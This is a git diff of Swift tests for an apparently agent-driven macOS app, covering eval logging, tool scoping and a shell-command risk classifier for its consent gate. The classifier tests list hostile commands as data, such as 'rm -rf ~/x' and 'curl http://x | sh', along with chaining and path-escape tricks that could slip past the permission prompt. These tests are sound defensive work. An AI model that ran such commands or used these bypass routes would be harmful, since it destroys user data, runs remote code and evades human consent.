+ }
let afterSetup = FunctionalEvalFixture.fileNames(in: sandbox)
let run = await FunctionalEvalRunner.run(
@@ -47,6 +87,11 @@ struct FunctionalEvalTests {
let outcomes = (fixture.expect.expectProduced ?? []).map { check in
FunctionalEvalVerifier.verify(check, producedFiles: produced, sandbox: sandbox)
}
+ Self.note(
+ "RESULT \(fixture.name): final=\(String(describing: run.finalStatus)) "
+ + "produced=\(produced.map(\.lastPathComponent)) "
+ + "checks=\(outcomes.map { $0.ok ? "ok" : "FAIL(\($0.detail))" })"
+ )
for outcome in outcomes {
#expect(outcome.ok, "[\(fixture.name)] \(outcome.detail)")
}
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalToolchain.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalToolchain.swift
new file mode 100644
index 00000000..c9467162
--- /dev/null
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalToolchain.swift
@@ -0,0 +1,49 @@
+import Foundation
+
+/// Makes a functional eval run against the SAME bundled toolchain as production. In a test process
+/// `Bundle.main` is the test runner, not the app, so the agent's `bundledToolsDirectory` would resolve
+/// nothing and `lit`/`pdf-fill`/`ffmpeg` would read as "command not found"; on top of that `lit` loads
+/// pdfium at runtime and needs `PDFIUM_LIB_PATH`. This bootstrap points both at the repo's
+/// `vendor/donkey-tools` (where `fetch-bundled-tools.sh` stages every tool, including `libpdfium.dylib`),
+/// exactly the directory the shipped app uses. (The agent's working directory is routed into each run's
+/// sandbox by the scenario, via `DONKEY_WORKSPACE_DIR`, so the suite never writes into the real `~/Donkey`.)
+///
+/// Idempotent — it sets fixed values and is safe to call from every scenario.
+enum FunctionalEvalToolchain {
+ /// The resolved bundled-tools directory, or nil when the repo's vendored tools are missing (the caller
+ /// should fail loudly rather than run a "real pipeline" eval that silently lacks its tools).
+ @discardableResult
+ static func ensure() -> URL? {
+ let env = ProcessInfo.processInfo.environment
+
+ let toolsDir: URL?
+ if let override = env["DONKEY_TOOLS_DIR"], !override.isEmpty {
+ toolsDir = URL(fileURLWithPath: (override as NSString).expandingTildeInPath, isDirectory: true)
+ } else if let vendor = vendorToolsDirectory() {
+ setenv("DONKEY_TOOLS_DIR", vendor.path, 1)
+ toolsDir = vendor
+ } else {
+ toolsDir = nil
+ }
+
+ // The scenario routes each run's working directory into its sandbox (DONKEY_WORKSPACE_DIR), so we
+ // don't set it here.
+
+ guard let toolsDir, FileManager.default.fileExists(atPath: toolsDir.path) else { return nil }
+ return toolsDir
+ }
+
+ /// `<repo>/vendor/donkey-tools`, found by walking up from this source file until the folder (with `lit`
+ /// in it) appears. Robust to where the package sits on disk — no hard-coded depth.
+ private static func vendorToolsDirectory(file: StaticString = #filePath) -> URL? {
+ var dir = URL(fileURLWithPath: "\(file)").deletingLastPathComponent()
+ for _ in 0..<12 {
+ let candidate = dir.appendingPathComponent("vendor/donkey-tools", isDirectory: true)
+ if FileManager.default.isExecutableFile(atPath: candidate.appendingPathComponent("lit").path) {
+ return candidate
+ }
+ dir = dir.deletingLastPathComponent()
+ }
+ return nil
+ }
+}
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/HarnessStepPromptTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/HarnessStepPromptTests.swift
index c018658a..7422d825 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/HarnessStepPromptTests.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/HarnessStepPromptTests.swift
@@ -31,6 +31,20 @@ struct HarnessStepPromptTests {
#expect(prompt.contains("skill_run"))
}
+ /// A short tool-input value replayed in the history passes through untouched; an oversized one (a big
+ /// `files.write content`, a long prompt) is clipped so it isn't re-sent in full on every windowed step.
+ @Test
+ func clipsOversizedDecisionInputValues() {
+ let short = "out.pdf"
+ #expect(DonkeyPrompts.clippedDecisionInputValue(short) == short)
+
+ let long = String(repeating: "x", count: DonkeyPrompts.harnessDecisionValueMaxLength + 5_000)
+ let clipped = DonkeyPrompts.clippedDecisionInputValue(long)
+ #expect(clipped.count < long.count)
+ #expect(clipped.hasSuffix("…[clipped]"))
+ #expect(clipped.hasPrefix(String(repeating: "x", count: DonkeyPrompts.harnessDecisionValueMaxLength)))
+ }
+
/// With no catalog the block is omitted entirely (no empty header dangling in the prompt).
@Test
func omitsSkillCatalogWhenNil() {
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/PlannerToolScopeTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/PlannerToolScopeTests.swift
new file mode 100644
index 00000000..1772b607
--- /dev/null
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/PlannerToolScopeTests.swift
@@ -0,0 +1,36 @@
+import DonkeyContracts
+import Testing
+@testable import DonkeyAI
+@testable import DonkeyHarness
+
+/// The planner is offered fewer tools on an app-less turn, trimming per-call input tokens, while a turn that
+/// might drive a GUI (or an unknown one) still sees the whole catalog.
+@Suite
+struct PlannerToolScopeTests {
+ private var catalog: [HarnessToolDescriptor] { BuiltInHarnessToolCatalog.descriptors }
+
+ @Test
+ func applessDropsGuiOnlyClustersButKeepsCapabilities() {
+ let scoped = PlannerToolScope.scoped(catalog, actionSurface: .appless)
+ let names = Set(scoped.map(\.name))
+ // GUI-driving clusters an app-less turn can never reach for are gone.
+ #expect(!names.contains("automation.applescript.execute"))
+ #expect(!names.contains("application.learning.start"))
+ #expect(!names.contains("agent.path.visualize"))
+ // Capability and reasoning tools an app-less turn still needs stay.
+ #expect(names.contains("transcribe"))
+ #expect(names.contains("shorts.make"))
+ #expect(names.contains("llm.generate"))
+ #expect(scoped.count < catalog.count)
+ }
+
+ @Test
+ func guiAppKeepsTheWholeCatalog() {
+ #expect(PlannerToolScope.scoped(catalog, actionSurface: .guiApp).count == catalog.count)
+ }
+
+ @Test
+ func missingUnderstandingKeepsTheWholeCatalog() {
+ #expect(PlannerToolScope.scoped(catalog, actionSurface: nil).count == catalog.count)
+ }
+}
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/ShellCommandClassifierTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/ShellCommandClassifierTests.swift
index c818a22c..a41ec7bf 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/ShellCommandClassifierTests.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/ShellCommandClassifierTests.swift
@@ -84,6 +84,22 @@ struct ShellCommandClassifierTests {
#expect(tier("find . -type d -execdir chmod 700 {} ;") == .highRisk)
}
+ @Test
+ func directoryNavigationIsReadAndDoesNotGateTheChain() {
+ // The motivating screenshot: `cd <dir> && ffmpeg …` prompted because `cd` was an unrecognized
+ // command (reversibleWrite) and the most-restrictive segment dragged the whole chain to a gate —
+ // even though ffmpeg is a bundled read and the files (clip.webm, subs.srt, out.mp4) were ones the
+ // agent itself created. `cd` only changes the shell's directory, so the chain must stay read.
+ #expect(tier("cd /Users/me/Downloads") == .read)
+ #expect(tier("pushd ~/Downloads") == .read)
+ #expect(tier("popd") == .read)
+ #expect(tier("cd /Users/me/Downloads && ffmpeg -y -i clip.webm -vf \"subtitles=subs.srt\" -c:a copy out.mp4") == .read)
+ #expect(tier("cd ~/Downloads/task && ls -la") == .read)
+ // `cd` must not launder a dangerous neighbor: each segment is still judged on its own merits.
+ #expect(tier("cd ~/x && rm -rf y") == .highRisk)
+ #expect(tier("cd ~/x && open -a Safari") == .reversibleWrite)
+ }
+
@Test
func readSubcommandsOfWriteCapableToolsAreRead() {
#expect(tier("defaults read com.apple.dock") == .read)
@@ -187,4 +203,74 @@ struct ShellCommandClassifierTests {
#expect(ShellCommandClassifier.classify("defaults write com.apple.dock x -int 1").signature == "defaults write")
#expect(ShellCommandClassifier.classify("/usr/bin/open -a Notes").signature == "open")
}
+
+ // MARK: Workspace file tools (run unprompted inside the agent's own working directory)
+
+ @Test
+ func boundedFileMutatorsAreWorkspaceTools() {
+ // The core file mutators whose whole effect is their visible path arguments: reversible, and
+ // recognized as workspace file tools so the consent gate can skip the prompt when a workspace exists
+ // and every path stays inside it.
+ for command in ["cp a.pdf out/", "mv a b", "mkdir out", "touch x.json",
+ "tee fields.json", "sed -i '' s/a/b/ x"] {
+ let c = ShellCommandClassifier.classify(command)
+ #expect(c.tier == .reversibleWrite)
+ #expect(ShellCommandClassifier.isWorkspaceFileTool(c.signature), "expected workspace tool: \(command) → \(c.signature)")
+ }
+ }
+
+ @Test
+ func interpretersAreNotWorkspaceTools() {
+ // A scripting interpreter's effect is the opaque code it runs, not the paths in argv, so "a
+ // workspace exists" is no containment — it must prompt (once, always-allowable), never auto-run.
+ for command in ["python3 map.py", "python3 -c 'print(1)'", "ruby s.rb", "node x.js", "perl y.pl"] {
+ let c = ShellCommandClassifier.classify(command)
+ #expect(c.tier == .reversibleWrite)
+ #expect(!ShellCommandClassifier.isWorkspaceFileTool(c.signature), "interpreter must prompt: \(command)")
+ }
+ }
+
+ @Test
+ func boundedWorkspaceCommandRejectsRidealongInterpreter() {
+ // The chaining hole: a benign `cp` can be the deciding signature, but a piggybacked interpreter must
+ // not ride through the bypass — isBoundedWorkspaceCommand inspects EVERY segment.
+ #expect(ShellCommandClassifier.isBoundedWorkspaceCommand("cp a b && mkdir out"))
+ #expect(ShellCommandClassifier.isBoundedWorkspaceCommand("ls && cp a b"))
+ #expect(!ShellCommandClassifier.isBoundedWorkspaceCommand("cp a b && python3 evil.py"))
+ #expect(!ShellCommandClassifier.isBoundedWorkspaceCommand("python3 map.py"))
+ }
+
+ @Test
+ func commandStaysWithinDetectsEscape() {
+ let ws = "/Users/me/Downloads/donkey/conv1"
+ // Relative paths and absolute paths inside the workspace stay in.
+ #expect(ShellCommandClassifier.commandStaysWithin("cp a.pdf out/b.pdf", workspace: ws))
+ #expect(ShellCommandClassifier.commandStaysWithin("mv data/x.csv \(ws)/y.csv", workspace: ws))
+ #expect(ShellCommandClassifier.commandStaysWithin("tee fields.json", workspace: ws))
+ // A sed script that merely contains slashes is not a real path and stays in.
+ #expect(ShellCommandClassifier.commandStaysWithin("sed -i '' 's/a/b/' file.txt", workspace: ws))
+ // Absolute-outside, `~`, and `..` escapes all reach out of the workspace.
+ #expect(!ShellCommandClassifier.commandStaysWithin("cp a.pdf /Users/me/Documents/b.pdf", workspace: ws))
+ #expect(!ShellCommandClassifier.commandStaysWithin("mv x ~/Desktop/x", workspace: ws))
+ #expect(!ShellCommandClassifier.commandStaysWithin("cp a.pdf ../b.pdf", workspace: ws))
+ }
+
+ @Test
+ func sideEffectingReversibleWritesAreNotWorkspaceTools() {
+ // These change things beyond the agent's files, so they still prompt even with a workspace.
+ for command in ["osascript -e 'tell app \"Mail\"'", "open -a Safari", "killall Dock", "pbcopy"] {
+ let c = ShellCommandClassifier.classify(command)
+ #expect(c.tier == .reversibleWrite)
+ #expect(!ShellCommandClassifier.isWorkspaceFileTool(c.signature), "should still prompt: \(command)")
+ }
+ }
+
+ @Test
+ func dangerousNeighborEscalatesAwayFromWorkspaceExemption() {
+ // A workspace file tool next to a destructive or escaping command takes the whole command to
+ // highRisk, so the workspace exemption (reversibleWrite only) can never apply to it.
+ #expect(tier("python3 map.py; rm -rf ~/x") == .highRisk)
+ #expect(tier("python3 -c 'print(1)' | sh") == .highRisk)
+ #expect(tier("cp a b && curl http://x | sh") == .highRisk)
+ }
}